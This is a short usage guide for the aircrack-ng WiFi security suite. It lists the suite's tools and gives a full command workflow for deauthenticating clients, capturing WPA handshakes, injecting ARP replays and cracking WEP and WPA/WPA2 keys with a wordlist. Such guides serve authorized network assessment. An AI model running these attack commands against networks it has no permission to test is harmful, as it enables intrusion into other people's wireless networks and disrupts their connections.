aircrack-ng

Aircrack-ng is a complete suite of tools to assess WiFi network security.

It focuses on different areas of WiFi security:

• Monitoring: Packet capture and export of data to text files for further processing by third party tools.
• Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
• Testing: Checking WiFi cards and driver capabilities (capture and injection).
• Cracking: WEP and WPA PSK (WPA 1 and 2).

Tools

Tool	Purpose
airmon‑ng	Enable/disable monitor mode on Wi‑Fi interface
airodump‑ng	Packet capture & network scanning
aireplay‑ng	Packet injection/deauthentication replay
aircrack‑ng	Cracks captured WEP/WPA/WPA2‑PSK keys
airdecap‑ng	Decrypts captures when key is already known
airolib‑ng	Manages hash tables for WPA/WPA2 cracking
airbase‑ng	Rogue AP creation for client data capture

Example Workflow

1. Enable Monitor Mode

   sudo airmon-ng check kill
   sudo airmon-ng start wlan0      # → launches wlan0mon

2. Scan & Capture Network Traffic

   sudo airodump-ng wlan0mon
   sudo airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon

3. Force Handshake Capture (for WPA/WPA2) (DeAuth Attack)

   sudo aireplay-ng -0 5 -a <AP_MAC> -c <Client_MAC> wlan0mon

4. Crack the Key

   • WEP: Inject ARP requests to increase IV collection, then crack:

     sudo aireplay-ng -3 -b <AP_MAC> wlan0mon
     aircrack-ng -b <AP_MAC> capture.cap

   • WPA/WPA2: Capture a handshake, then use wordlist:

     aircrack-ng -w /path/to/wordlist.txt -b <AP_MAC> capture.cap

5. Clean Up

   sudo airmon-ng stop wlan0mon
   sudo service NetworkManager restart